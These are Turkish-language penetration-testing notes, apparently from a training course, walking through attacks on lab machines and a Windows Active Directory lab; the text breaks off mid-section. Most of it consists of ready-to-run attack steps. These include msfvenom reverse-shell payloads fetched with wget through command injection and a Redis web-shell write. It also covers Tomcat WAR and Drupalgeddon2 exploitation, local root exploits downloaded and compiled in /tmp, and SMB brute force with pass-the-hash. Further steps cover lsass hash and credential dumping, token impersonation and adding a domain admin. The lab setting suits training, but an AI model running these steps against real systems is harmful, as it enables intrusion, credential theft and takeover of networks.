zaten karşı tarafta bir apache server var ve belliki php kodlarınıda çalıştırıyor.


sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.130 lport=5555 -f raw > phpmoadmin.php


şimdi bu dosyamızı paylaşmak için:


python -m http.server


sonra:


curl “http://192.168.10.129/mongoadmin/” -d “object=1;system(‘wget http://192.168.10.130/phpmoadmin.php’);exit”


olmadı nede?


Çünkü burada mevcut kullanıcımızın yazma izni muhtemelen yok


peki nerde varde?


/tmp dizini


şöyle yapacağız:


‘wget http://192.168.10.130:8000/phpmoadmin.php -O /tmp/phpmoadmin.php’


bunu curl de () içerisine yazalım


eklendiğini görebiliriz(‘ls -la /tmp’):


-rw-r--r-- 1 www-data www-data 1115 Dec 11 03:21 phpmoadmin.php


php dosyasına gömdüğümüz port 5555 di


şimdi metasploit de bir handeler çalıştıralım


search multi/handler


use 7


options


set PAYLOAD php/meterpreter/reverse_tcp


set LHOST 192.168.10.130


set LPORT 5555


exploit -j


şimdi karşı taraftaki dosyayı aktif etmemiz gerek shell gelmesi için:


curl "http://192.168.10.129/mongoadmin/" -d "object=1;system('php /tmp/phpmoadmin.php');exit"


metasploit e geçtiğimizde sessions ın geldiğini gerebiliriz


burada içeriye c99,r57 shell atılabilir


veya bu curl ile de yapılabilir.
REDIS VE TOMCAT Sömürü Aşaması:


Redis de tek satırlık bir kod ile shell almaya çalışyorduk hatırlarsak


bir deneme yapalım:


sudo redis-cli -h 192.168.10.129


config set dir /var/www/html/


config set dbfilename shell.php


set payload “<?php echo shell_exec($_GET[‘e’].’ 2>&1); ?>”


bgsave


olmadı dirb ile dizin taraması yaparak hangi dizin yazma izini veriyor bunlara bakarak işlemimizi yapabiliriz.


Bu kısım challenge olarak kalsın.


Not: ssh key i karşı tarafa authorized_keys olarak aktarılabiliyor link


Tomcat:


metasploit de search tomcat_mgr_login


use 0


options


set RHOSTS 192.168.10.129


set THREADS 10


set STOP_ON_SUCCESS yes


run


192.168.10.129:8080 - Login Successful: tomcat:tomcat


browser da: http://192.168.10.129:8080/


manager wepadd e tıkla: tomcat:tomcat


sudo msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4446 -f war > tomcatTYP.war


sonra bu dosyayı tomcat e yüklemek için:


browser butonuna tıkla ve oluşturulan dosyanı seçebiliriz sonra deploy butonuna tıkla


teminalde: jar -xvf tomcatTYP.war


dosya ismi: inflated: twztbpscjz.jsp


şimd metasploit de bir handler başlatalım


search multi/handler


use 7


options


set PAYLOAD linux/x86/meterpreter/reverse_tcp


set LHOST 192.168.10.130


set LPORT 4446


exploit -j


şimdi browserda “twztbpscjz.jsp” dosyamıza gitmeye çalışalım (tomcat de tomcatTYP adında bir dizin oluştu ona tıkla ve sonra /twztbpscjz.jsp ekleyerek enter a bas)


192.168.10.129:8080/tomcatTYP/twztbpscjz.jsp


shellin gelmiş olması gerek.








DRUPAL VE LOTUS CMS Sömürü Aşaması:


Hatırlarsak drupal 8 vardı


metasploitte search drupal 8 dediğmizde


geddeon zafiyetlerini kullanabiliriz


exploit/unix/webapp/drupal_drupalgeddon2


use 1


options


set RHOSTS 192.168.10.129


set TARGETURI /drupal/


set PAYLOAD php/meterpreter/reverse_tcp


set LHOST 192.168.10.130


set LPORT 4444


bir çalıştıralım bakalım çalışacak mı?


Run


ve shell geldi


pwd


whoami


id


uname -a


hostnamectl


cat /etc/os-release


dig 192.168.10.129


ip r


ip a


lsb_release -a


hostname –fqdn


find /bin -perm -4000 2>/dev/null


iptables -L


journalctl


sudo -l -U


netstat


gibi komutlar denenebilir


lotuscms i deneyeli metasploit üzerinde


search lotuscms


use exploit/multi/http/lcms_php_exec


options


set RHOSTS 192.168.10.129


set URI /cms/


set PAYLOAD php/meterpreter/reverse_tcp


set LPORT 4440


set LHOST 192.168.10.130


deneyelim çalışıyor mu?


Run


shell geldi bir önceki komutları komutları kullanabiliriniz
YETKİ YÜKSELTME AŞAMASI:


Ssh admin@192.168.10.129


eğer sürekli ip yerine kısa bir isimlendirme kullanmak istersek hosts dosyamıza bunu bildirmeliyiz:


sudo nano /etc/hosts


# typhoon makinesi


192.168.10.129 typhoon


diye ekleyip ctrl + x , y , enter


kaydettiğimizde:


ssh admin@typhoon


yes


metallica


diyerekten bağlanabiliriz ki zaten admin kullanıcısının parolasını bulumştuk: metallica


normalde bu girişten sonra ‘sudo su‘ komutu ile root a erişebiliyorduk.


Varsayalım ki erişemedik.


Bu durumda ne yapabiliriz?


Uname -a ile çekirdek versiyonu üzerinden yürüyebiliriz.


Cat /etc/lsb-release ile dağıtım üzerinden gidelibiliriz. (cat /etc/issue)


şimdi terminalde searchsploit -s ubuntu 14.04 diye aratalım


hatırlarsak bir önceki makinede: 39166.c den bir oturum yakalamıştık


kendi dizinimizde zaten bu dosya vardı.


Bunu kullanarak bir oturum yakalamaya çalışalım


bu dosyamızı paylaşıma açalım: python -m http.server


karşı makinde tmp altına gidelim


cd /tmp


dosyamızı indirelim:


wget http://192.168.10.130:8000/39166.c


şimdi bu indirilen dosyamızı derleyelim


gcc 39166.c -o typSh


ama: couldn't create suid :(


olamdı


terminalde: searchsploit -s ubuntu 14.04


37292.c yi deneyelim:


sudo find / 37292.c|grep 37292.c


/usr/share/exploitdb/exploits/linux/local/37292.c


cp /usr/share/exploitdb/exploits/linux/local/37292.c .


python -m http.server


şimdi karşı makineye geçelim ve 37292.c dosyamızı indirip derleyip çalıştırmayı deneyelim


cd /tmp


wget http://192.168.10.130:8000/37292.c


gcc 37292.c -o shell


./shell


whoami


root


yeti başarıyla yükseltildi


sudo -l


iptables -L ile güvenlik duvarı kurallarını listeleyin


passwd <username> ile istediğin kişini parolasını değiştirin


not: kali de draw.io için izlenecek yollar:


https://github.com/jgraph/drawio-desktop/releases/tag/v25.0.2


adresinden: https://github.com/jgraph/drawio-desktop/releases/download/v25.0.2/drawio-amd64-25.0.2.deb


dosyasını indirin


daha sonra:


mkdir ~/Desktop/DrawIO/semalar;mv ~/Downloads/drawio-amd64-25.0.2.deb ~/Desktop/DrawIO;sudo dpkg -i ~/Desktop/DrawIO/drawio-amd64-25.0.2.deb;sudo apt-get install -f


bir komut zinciri ile dizin oluşturma taşıma çalıştırma işlemlerini yaptık


semalar: bu dizine https://app.diagrams.net/


buradaki çizimlerinizi /Donwloads dizininden buraya aktararak karmaşıklığı önleyebilirsiniz
Pivoting Lab Kurulum Aşaması:


Önce kevgir de root olmamız gerek:


user:resu ile giriş yaptıktan sonra


/tmp/ dizinine gidelim: cd /tmp


sonra 39166.c dosyasını kendi makinemizden buraya indirelim:


dosyanın bulunduğu dizine geç ve: python -m http.server


karşı makine /tmp deyken:


wget http://192.168.10.130:8000/39166.c


gcc 39166.c -o a.out


./a.out


root olduk şimdi:


ip adresimizi değiştirelim:


ifconfig eth0 10.0.0.5 netmask 255.255.255.0


ifconfig eth0


ip değerimizin değiştiğini göreceksiniz


şimdi:


typhoon a gidellim.


Bu makineyi açmadan önce:


edit


virtual network editor


Change settings


add network


vmnet information kısmında:


host-only


daha sonra aşağıdaki iki kutucuğu da tikleyin


subnet ip: 10.0.0.0


subnet mask: 255.255.255.0


dhcp settings kısmında:


starting ip: 10.0.0.5


ending ip : 10.0.0.254


apply ve ok


daha sonra kapaılı olan typhoon makinesinde:


edit virtual machine setting e tıkla


harware kısmında add de


network adaptor, finish de


burada oluşturduğunuz adaptörü customda seç


sonra makineyi başlat


admin:metallica,sudo su, metallica


ip addr show


burada eğer eth1 olarak bir interface yoksa


ifconfig -a ile görüntüleyin


muhtemelen ayaklanmamış olabilir


bunun için:


ifconfig eth1 up


sonra buradan hem kali hem de kevgir e ping atın


hmm... kevgir i de son oluşturduğumuz custom host-only ye atamamız gerek:


kevgir makinesinde yukarıda bir sekme gibi olan makine adı yer alır ona sağ tıklayıp settings den network adaptor e tıklayın.


Oradan da son oluşturduğumuz 10.0.0.0 lı bir network adaptörü var en ben vm3 olarak adı.


Onu seçin ok deyin sonra kevgirde:


(root ken) /etc/ini.d/networking restart


root için:


kendi makinemizde 39166.c paylaşıma açarak python -m http.server, dosyayı cd /tmp/ geçip, altına atıp, gcc 39166.c -o abc ile derleyip ./abc diyerek çalıştırdığımızda root oluruz.


İlk giriş için:user:resu
Pivoting Aşaması:


Pivoting:


normalde erişilemeyen bir sistem var


bu kurumsal bir sistem diyelim


kurulsal sisteinde dış ağa açık bir sunucusu var


eğer bu sunucuyu bir şekilde ele geçirebilirseniz kurumsal sistemin ağına sızabilirsiniz.


Biz zaten typhoonda bir root oturumu almıştık:


ssh admin@typhoon


metallica


sudo su


metallica


daha sonra kendi makinemizde:


sudo msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.130 lport=1337 -f elf > pivotingTYP.elf


farklı bir şekilde dosyayı yollayalım:


scp pivotingTYP.elf admin@typhoon:/tmp/


çıkarsa: yes


metallica


dosyamız tmp adltına gitti.


Şimdi typhoon da tmp altına geçelim: cd /tmp


çalıştırma izni verelim: chmod +x pivotingTYP.elf


metasploitte bir handler başlatalım 1337 portunu dinlememiz, lhost da kendi kali ipsini yazmamız ve payload olarak da linux/x86/meterpreter/reverse_tcp vermemiz gerek ardında exploit -j ile dinlemeye alalım


sonra typhon da


./pivotingTYP.elf çalıştıralım


şuan her şey doğru ve yolunda giderse meterpreter den shell almış olmamız gerek


sessions ile görüntüleyip bu shell e geçelim


sessions 1


getuid dediğimizde sen root sun diyor gayet güzel


şimdi internette “meterpreter pivoting tutorial” link


burdaki her şeyi lab ortamında deneyebilirsiniz.


Hedef alt ağa gidebilmek için:


run autoroute -s 10.0.0.0/24


run autoroute -p ile de rotayı görebilirsiniz (shell aldığımız kısımda yapıyoruz bunu kendi makinemizde)


şimdi backround a alalım


search portscan aratalım


burada tcp olanı seçelim:auxiliary/scanner/portscan/tcp


options


set RHOSTS 10.0.0.5


set PORTS 80,443,8080 (varsayılan 1-10000)


run


[+] 10.0.0.5: - 10.0.0.5:80 - TCP OPEN


[+] 10.0.0.5: - 10.0.0.5:8080 - TCP OPEN


normalde erişimimizin olmadığı ağ da tarama yaptık


ama gitmeye çalışalım: http://10.0.0.5:80/ veya http://10.0.0.5:8080/


gidemiyoruz


bunu çözmek için:


sessions 1


portfwd add -l 8009 -p 80 -r 10.0.0.5


dediğimizde karşı tarafın 80 portunu localimizde 8009 portuna bağlamış oluruz


http://localhost:8009/


dediğimizde göreceksiniz


portfwd add -l 8010 -p 8080 -r 10.0.0.5


http://localhost:8010/


manager wepadd e tıkla: tomcat:tomcat


şimdi şunu soralım: Ben burayı nasıl exploit edebilirim?


Karşı taraf bize nasıl geleceğini bilmiyor ama biz nasıl gideceğimizi buluğumuza göre bind tcp ile yani bizim ona gitmemiz gerekiyor.


Sudo msfvenom -p linux/x86/meterpreter/bind_tcp rhost=10.0.0.5 lport=1337 -f war > pivotBindKGR.war


jar -xvf myuvkkte.jsp


myuvkkte.jsp


bu bize shell getirecek dosya


şimdi mevcut shell i backround a alıp handler a geçelim:


use exploit/multi/handler


options


set PAYLOAD linux/x86/meterpreter/bind_tcp


set RHOST 10.0.0.5


set LPORT 1337


run


bu şimdilik burada beklesin


şimdi kevgirdeki tomcat tarafına oluşturduğumuz .war uzantılı dosyamızı atacağız (hatırlıyor olmanız gerek.)


daha sonra myuvkkte.jsp dosyamızı çağırmamız gerek:


localhost:8010/pivotBindKGR/myuvkkte.jsp


ve shell geldi.


Sysinfo


getuid


shell


uname -a


cat /etc/os-release


find /bin -perm -4000


aslında hiç erişilemeyen bir sistme typhoon üzerinden sistemi ele geçirdik. Sonrasında burada da root olmak için daha önceki adımlarımızı yapabilirsiniz.
ACTIVE DIRECTORY ANALİZİ:
LABORATUVAR ÇİZİMLERİ:


  
AĞ TASARIMI 1:


https://archive.org/details/WinXPProSP2ENG


XJM6Q-BQ8HW-T6DFB-Y934T-YD4YT


https://archive.org/details/win-8.1


Win8.1_EnglishUS_x64.iso


win7 ile win2008Server i zaten indirmiştik hatırlarsak.


Bunlara 128-512MB arası ram ve 10-15GB hafıza vermeniz yeterli.


Yalnız kurarken host-only bir interface verin kurulanakadar net e çıkmasın.


Kurulduktansonra firewall ları kapatın.


Bu aramaları google de yaparken mesela:


intitle Windows 8.1 Professional site archive.org


gibi bir yol izleybilirsiniz.


Google dorking yapmayı öğrenmeniz bu açıdan önemli.


Ben ayriyetten sanal makinelerin linklerini key leri ile birlikte ayrı olarak vereceğim.


NOT: kurulum yaparken asla interneti açmayın. Host-only olarak internetsin bir ortamda sanal makineleri kurduktan sonra internete çıkış yapabilirsiniz.


Ek olarak güvenlik duvarlarının hepsin kapatın


password olarak hepsinin aynı yapın: Passwd123!!!?









AĞ TASARIMI 2:

NOT: SANAL MAKİNELERİN GÜVENLİK DUVARLARINI KAPAT!


ANKARA makinesi(win7):


control panel\Network and Internet\Network and Sharing Center


local are connection


properties


interne protocol version 4 (2 kez tıkla)


ıp address : 192.168.11.150


subnet mask : 255.255.255.0


default gateway: 192.168.11.2


SAMSUN makinesi(win8):


bu makineye vm den ayarlardan 2 tane network adaptörü ekleyin


yukarıdaki adımları izleyerek:


ilk network adaptör için:


ıp address : 192.168.11.150


subnet mask : 255.255.255.0


default gateway: 192.168.11.2


dns server : önce 8.8.8.8 i verin ve winscp yi indirin sonra bu ipyi verin=> 192.168.11.200 (bu server makinesin ip si)


winscp yi açın:


file protocol: scp


port number: 22


host: <secretpc nin ip sini girin: 10.0.0.11>


username: admin


password: Passwd1!


İki kutucuğu da işaretleyin


normalde “not recomended” yazar parola için ama bir çok kuruluş bununla uğraşmamak için kaydeder.


ikinci network adaptör için:


ıp address : 10.0.0.10


subnet mask : 255.255.255.0


SECRETPC makinesi(winXP):


ıp address : 10.0.0.11


subnet mask : 255.255.255.0


ctrl + r, cmd.exe


net user admin Passwd1! /add


net localgroup Administrators admin /add


net users


net user admin


burada ki kullanıcı bizim samsundan erişim aldığımız kullanıcı olacak


ADPC makinesi(win server):


NOT: bu sürümde çeşitli aksaklıklardan ötürü 2012 r2 yi kurdum


https://www.microsoft.com/en-us/evalcenter/download-windows-server-2012-r2


vm kurululumdan NAT ağını seçin


başlangıç olarak 2gb ram ve 15gb hafıza vermeniz yeterli


burada kurulumda datacenter gui olan kısımı seçin


Windows Server 2012 Datacenter Evaluation (Server With a GUI)


karşınıza custom seçeneği çıkacak ou işaretleyin


devam edin


kurulum otomatik olacaktır.


Daha sonra admin parolası isteyecek yeni kurulum olduğundan


Passwd123!!!? yaparsınız


güvenlik duvarlarını kapatın


önce:


ıp address : 192.168.11.200


subnet mask : 255.255.255.0


default gateway: 192.168.11.2


dns server : 127.0.0.1 (kendi local ip adresini verelim)


daha sonra windows tuşuna basın ve search kısmında “server manager” yazıp girin


sol yukarıda “Roles” e tıkla


sağ tarafta “add roles” e tıkla


aşağıdaki kutucuğa tik atın


next


Role-Based seçeneği seçin next


next, next


seç: Active Directory Domain Services


seç: DNS Server


next, next, next, next


yukarıda Restart th destination kutucuğunu işaretle ve install butonuna bas


şimdi bu yüknele dursun biz ankara makinemize geçelim


cmd yi admin olarak açın


birkaç tane parolası basit olan kullanıcılar ekleyelim


sanırım admin hesabı aktif değil onu aktif edelim


net user Administrator Passwd123!!!?


net user Administrator /active:yes


net user admin admin /add


net user Dogukan Passwd123 /add


net user Egitim Passwd123!!!?


net localgroup Administrators Dogukan /add


net localgroup Administrators Egitim /add


net localgroup Administrators


burada Administrator ile Egitim aynı parola var şimdilik biz bu egitimi pasife çekelim


samsun makinesine gidelim ve orada da benzer adımları yapalım


admin, Dogukan, Egitim oluşturalım


Administrator hesabını aktif hale getirelim


sonra Egitim mi pasif hale getirelim


ActiveDirectory makinemiz olan 2012 server r2 makinemize dönelim


promote this server to a domain control tıklayın (yükleme bitmiş olmalı)


çıkan ekranda Add a new forrest a tıkla


burada bir domain vermemiz gerek mesela: activeDirectory.local gibi


next


parola olarak da: Passwd123!!!? yapalım


next, next, next, next, install


burada bekliyoruz domain yapısının kurulmasını sağlıyor


şimdi samsun makinemize geçelim


winscp yi açalım daha önce luşturduğumuzu silelim


file protocol: ftp


host: 10.0.0.11


username: admin


password: Passwd1!


Save butonuna tıkla aşağıdaki kutucukarı tikle


site-name: ftp-secretpc


ok deyin


new site e tıkla şimdide scp yi seçin


site-name e kadar aynı


site-name: scp-secretpc


kutucukları tikleyin


ok deyin


sonra:


şimdi yeni ADPC ye geçin domain hazır


samsun makinemizi domaine ekleyelim


samsun makinesine geçelim


control panel/System and Security/System


advenced system settings


computer name


change


domain


activeDirectory.local


ok


biz dns olarak bu makineye 192.168.11.200 ip sini verdiğimizden ve bu makinede ADPC olduğundan eğer böyle bir domain varsa username/password soracaktır


username: Administrator


password: Passwd123!!!?


onay gelirse makinemizi bu domaine üye yapmışız demektir.


Makineyi restart edelim


geri gidelim ve başka bir kullanıcı ile girşi yapalım


ACTIVEDIRECTORY\Administrator


Passwd123!!!?


şimdi bu makinenin firewall ını kontrol edelim


domain için otomatik açmış bunu kapatalım


şimdi cmd den ping atalım makinelerimize bakalım gidiyor mu?


Ping 192.168.11.2


Ping 192.168.11.108


Ping 192.168.11.150


Ping 192.168.11.200


bakalım diğer network deki makinemize gidebiliyor muyuz


ping 10.0.0.11


evet gidebiliyoruz sıkıntı yok


burada sıkıntı yok şimdi ADPC için bakalım aynı şekilde


bu makinemizde de bir sıkıntı yok


son kez olarak toparlayalım:


win7 hazı bu makineyi önce ele geçiteceğiz


daha sonra win8 e geçiş yaparak buradaki domainAdminSeassion ı var bunu üzerimize alacağız


ADPC ye domainAdminUser ekleyeceğiz


Daha sonrasında winXP ye geçiş yapacağız


ayrıca win8 içerisindeki winscp de ki bilgiler ile winXP ye geçiş yapmaya çalışacağız
Nmap ve Nessus ile Tarama


sudo /sbin/service nessusd start


browser da: https://kali:8834/


terminalde:


nano ip-list


192.168.11.150


192.168.11.152


192.168.11.200


ctrl + x, y,enter


bu ipler sırasıyla:


Ankara


Samsun


ADPC


makineleriydi


şimdi bu listeyi kullanarak smb portlarına kaşı bir savaş açalım ki genelde ne çıkıyorso u portlardan çıkıyor:


sudo nmap -iL ip-list -p 445 –scritp=smb-vuln-*


bu çalışırkern diğer bir terminalde:


sudo msfdb init


hata alırsanız:


sudo service postgresql start


sudo /etc/init.d/postgresql start


sudo msfdb init


sudo msfcosole


nmap terminaline geçelim birkaç notumuz var onu alalım


bir çok zafiyet çıktı yalnız biz 150 ipsininki baz alacağız


not: 192.168.11.150 de ms17_010_eternalblue zafiyeti var


şimdi nessus a geçelim


new sacn diyelim


advenced scan diyelim


name: AD Network Taraması


targets: 192.168.11.150, 192.168.11.152, 192.168.11.200


save


AD Network Taraması nı seçin ve sağ üst te launch butonuna tıklayın


sistemler üzerinde çok bir şey olmadığında hızlı tarayacaktır


bizim için ana makine 11.150 makinesi Allah ne verdiyese buradan gideceğiz :)


şimdi bekleyelim


bir çok zafiyet elde etik.


Şimdi bunlar burada bir dursun daha sonra bakarız bu kısımdan gidersek çok basit olur.


O yüzden nessusd service ini kapatalım


önce durum kontrolü:


sudo systemctl status nessusd.service


sudo systemctl stop nessusd.service


eğer bir servisin sürekli olarak çalışmasını isterseniz:


örn: sudo systemctl enable nessusd.service


eğer bir servisi sürekli olarak çalışması istemezseniz:


örn: sudo systemctl disable nessusd.service


rockyou.txt dosyamıza bir veri girelim:


sudo sed -i '100i Passwd123!!!?' /usr/share/wordlists/rockyou.txt&&echo '==>>Passwd123!!!? verisi başarı ile eklendi'&&grep -n 'Passwd123!!!?' /usr/share/wordlists/rockyou.txt


bu:


rockyou.txt dosyasının 100. satırına bir veri girer, eğer veri ekleme işlemi olumluysa ekrana bir metin basar, bu da olurrsa rockyou.txt dosya içerisinde eklediğimiz veri var mı, varsa hangi satırda onu söyler.


Hedef makine 11.150 olduğundan bunu orada kullanacağız.


Msfconsola a gidelim


search smb_login


use 0


hedef makineye brute-force saldırısı yapalım


amaç burada ki hashleri almak


options


set RHOST 192.168.11.150


set THREADS 20


set STOP_ON_SUCCESS true


set SMBuser Administrator


set PASS_FILE /usr/share/wordlists/rockyou.txt


set SMBDomain .


Options


NOT: tümünü varsayılan değerlere çevirmek için: unset all


ek olarak bunu medusa ve hidra ile de yapacağız


run diyerek çalıştıralım


192.168.11.150:445 - 192.168.11.150:445 - Success: '.\Administrator:Passwd123!!!?' Administrator


bulduk.


Şimdi medusa ile deneyelim:


sudo apt upgrade mesua hydra


burada medusa için kullanabileceğimiz moduller mevcut


ls /usr/lib/x86_64-linux-gnu/medusa/modules


sudo medusa -h 192.168.11.150 -u Administrator -P /usr/share/wordlists/rockyou.txt -M smbnt -n 445 -t 10


ACCOUNT FOUND: [smbnt] Host: 192.168.11.150 User: Administrator Password: Passwd123!!!? [SUCCESS (ADMIN$ - Access Allowed)]


şimdi de hydra ile yapalım


ls /opt/nessus/lib/nessus/plugins|grep hydra


burada modul olarak kullanabileceklerimiz mevcut hydra için


sudo hydra -l Administrator -P /usr/share/wordlists/rockyou.txt smb://192.168.11.150 -s 445


[445][smb] host: 192.168.11.150 login: Administrator password: Passwd123!!!?


ve burada da bulduk.


Şimde msfconsol da search smb/psexec:


bunu seçin: exploit/windows/smb/psexec


psexec: windows ortmalarda uzaktan komut çalıştırmaya yarıyan elle ayarlanması gerek bir araçtır.


NOT:


sudo apt udate


sudo apt upgrade metasploit-framework


sudo msfconsole –version


sudo -u postgres psql


\l


ALTER DATABASE msf REFRESH COLLATION VERSION;


\q


sudo msfconsole


bu version eşleşmesinden dolayı bir hata alıyorduk onu düzelttik


şimdi aynı adımları ele alalım search smb/psexec e kadar


search smb/psexec


use 1


options


set SMBuser Administrator


set SMBPass Passwd123!!!?


set RHOST 192.168.11.150


run


evet girdik


şimdi:


getuid


sysinfo


hedef sistemden hasleri almak için:


migrate -N lsass.exe


hashdump


buradakileri alalım bir dosyay kaydedelim


admin:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::


Administrator:500:aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557:::


Dogukan:1002:aad3b435b51404eeaad3b435b51404ee:2e9a50e1775a0d511db2b243265fa85b:::


Egitim:1003:aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557:::


Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


windows7:1000:aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557:::


sudo nano windows-11-150-hash


ctrl +x, y, enter


bunu john the ripper ile çözelim:


sudo john windows-11-150-hash --show –format=NT


burada buluğunu göreceksiniz


tekrar metasploit e geri dönelim ve smb den giriş yaptığımız makineye kiwi yi yükleyelim


load kiwi


load incognito


sonra diğer terminale geçerek windows-11-150-hashdump dosyamızda ki kullanıcı adlarını bir başka dosyaya yazdıralım:


sudo cut windows-11-150-hashdump -d ':' -f 1 > windows-11-150-users&&cat windows-11-150-users


hash leri de bir başka dosyaya kaydedelim


sudo cut windows-11-150-hashdump -d ':' -f 3,4 > windows-11-150-hashs&&cat windows-11-150-hashs


bunları diğer sistemler için brute-force ataklarında kullanacağız


NOT: DİĞER MAKİNELERDE KOMUTTAN OLUŞTURDUĞUMUZ KULLANICILARA BİR KEZ GİRİŞ YAPIN


ÖRN: DOMANİN E ALDIĞINIZ KULLANICILAR İÇİN DOMAİN ADRESİNİ ALMADIKLARINIZIDA HEMEN OTHER DEDİĞİNİZDE ALT KISIMDA YÖNLENDİRME VAR ŞUNA BENZER BİR ŞEY EKLEMENİZ GEREK BAŞINA ÖRN:


username: WIN-FVUGJ3471LB\admin


parola: admin


not: ters slah için: alt + 92


bunu yapın ki kullanıcı dosyaları oluşsun daha sonra egitim kullanıcısına akti edip içeri girin masa üstüne bir dosya oluşturun daha sonra bu kullanıcıdan çıkıp administrator hesabına geri gelin ve metasploit de kaldığımız yerden devam edelim


bazen sırayı karıştırabiliyorum ama olsun her zaman yapılan her şey dört dörttük olamaz. (başka şeyler de yaptığımdan bazen kafam karışabiliyor :/ )


şimdi samsun makinesine bir brute-force saldırısı için ele geçirmiş olduğumuz ankara makinesindeki hashleri ve username leri kullanarak bir attack başlatalım


bunun için önce anakara makinesini backround a alalım


daha sonra:


search smb_login


use 0


set –clear SMBUser


set –clear RHOSTS


set PASS_FILE /home/dogukan/btk-uygulamali-sizma-testi/windows-11-150-hashs


set USER_FILE /home/dogukan/btk-uygulamali-sizma-testi/windows-11-150-users


set RHOSTS 192.168.11.152


samsun makinesi


set STOP_ON_SUCCESS no


set THREADS 10


Amacımız:


ankara makinesinde elde ettiğimiz username/password_hash kombinasyon bilgilerinin bu makinede yakalayabilirmiyiz ona bakacağız


run


Sanırım samsun makinesinde egitim kullanıcısı açayı unuttunk açalım onu samsun makinede:


cmd.exe(administrator)


net user Egitim /active:yes


tekrar run edelim


[+] 192.168.11.152:445 - 192.168.11.152:445 - Success: '.\admin:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634'


[+] 192.168.11.152:445 - 192.168.11.152:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557' Administrator


[+] 192.168.11.152:445 - 192.168.11.152:445 - Success: '.\Dogukan:aad3b435b51404eeaad3b435b51404ee:2e9a50e1775a0d511db2b243265fa85b'


[+] 192.168.11.152:445 - 192.168.11.152:445 - Success: '.\Egitim:aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557'


başarılı girişlerimizi bulduk şimdi sırada ki senaryomuz...


yakaladığımız bu bilgilerden mesela administrator bilgileri ile hedef makineye geçmeye çalışalım:


search smb/psexec


exploit/windows/smb/psexec


use 1


set RHOST 192.168.11.152


set SMBPass aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557


set SMBUser Administrator


set SMBDomain .


Set SMBSHARE C$


set LHOST 192.168.11.108


set LPORT 8888


run


ve geldi:


getuid


systinfo


load kiwi


creds_all ile beşki açık metin parolalarını ele geçirebiliriz.


Eğer böyle bir çıktı alıyorsanız:


[+] Running as SYSTEM


[*] Retrieving all credentials


muhtemelen yetkisiz bir proccess desiniz.


Windowsun yetkili proccess lerinden birine geçiş yapalım


migrate -N lsass.exe


windows bir çok kriptografik işlemleri bu proccess üzerinden yürütür


şimdi creds_all diyelim


burada bir çok bilgi yakaladık mesela


load incognito


list_tokens -u


şu user ı üzerimize alalım:


ACTIVEDIRECTORY\Administrator


impersonate_token ACTIVEDIRECTORY\\Administrator


shell


önce bakalım almışmıyız:


whoami veya getuid


şimdi bir bu domain e bir kullanıcı ekleyelim:


net user hack Passwd12 /add /domain


bir de crackmapexec ile denelim ama önce samsun makinesinden hashdump ile bir admin hash ini alalım normalde parolaları da görebiliyor olmamız gerek ama sonrun değil


zaten samsun makinesine girip hatta bir kullanıcı bile oluşturmuştuk metasploit üzerinden


şimdi exit yaparak çıkın ve run ile tekrar bağlanın


migrate -N lsass.exe


hashdump


burada administrator unkini alasak yeter şuan:


daha sonra:


sudo crackmapexec smb 192.168.11.152 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557


şimdi


nano deneme-hash


aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557


sudo john deneme-hash –show –format=NT


aad3b435b51404eeaad3b435b51404ee:Passwd123!!!?


yani


username: Administrator


password: Passwd123!!?


şimdi bunu aynı şekilde crackmapexec de yine deneyerek görebiliriz


sudo crackmapexec smb 192.168.11.152 -u Administrator -p 'Passwd123!!!?' -d ACTIVEDIRECTORY –lsa


şimdi username ve password ü de doğruladığımıza göre ADPC ye bir gitmeye çalışalım psexec ile:


search smb/psexec


use 1


set SMBDomain ACTIVEDIRECTORY


set SMBPASS Passwd123!!!?


set SMBUSER Administrator


set RHOSTS 192.168.11.200


run


sysinfo


windows server makinesine geldiğimizi görebiliyoruz


şimdi karşı makinede bir kullanıcı açalım


shell


net user hack Passwd1 /add /domain


net group “Domain Admins” hack /add /domain


şuan her şeyimiz hazır


bunu da backround a alalım


şimdi samsun makinesi bir dönenlim


sessions 5


ipconfig


bakın burada 11.152 ve 0.10 makinelerini görüyoruz bunları not alalım


çünkü bu, bizim arka tarafa geçiş için bir bilet gibi düşünebiliriz


hatırlarsak bu makineye winscp kurmuştuk


burada yüklü yazılımlara bir bakalım


run post/windows/gather/ennum_applications


winscp yi burada gördük


acaba burada işimize yarar bir şey varmı ona bakalım


run post/windows/gather/credentials/winscp


[+] Host: 10.0.0.11, IP: 10.0.0.11, Port: 21, Service: FTP, Username: admin, Password: Passwd1!


Bu makineden 0.11 makinesine bir balantı yapılmış daha önce


biz ise bu username/password ü buradan çıkardık


bu aşama: POSTEXPLOIT aşaması denir.


Bu arada “hack” diye bir kullanıcı oluşturmuştuk


crackmapexec ile 11.152 makinesine gidebiliriz Domain e de üye ya sıkıntı olmayacak


sudo crackmapexec smb 192.168.11.152 -u 'hack' -p 'Passwd12' -d 'ACTIVEDIRECTORY' –lsa


sudo crackmapexec smb 192.168.11.152 -u 'hack' -p 'Passwd12' -d 'ACTIVEDIRECTORY' –sam


bu iki veri tabanınada Administrator yetkisi gerekli (lsa, sam)


lsa da:


şifreleme anahtarları, hash’ler, servis bilgilerini görebiliriz


sam de:


Yerel kullanıcı hesapları ve hash bilgilerini alabiliriz.





Ara bilgi başlangıç:
1. Yatay Hareket (Lateral Movement)


Tanım:


Bir saldırganın, ele geçirdiği sistemden ağdaki diğer sistemlere hareket ederek erişim sağlama sürecidir. Amaç, aynı yetki seviyesinde diğer sistemlere ulaşmak veya daha fazla bilgi toplamaktır.


Özellikleri:


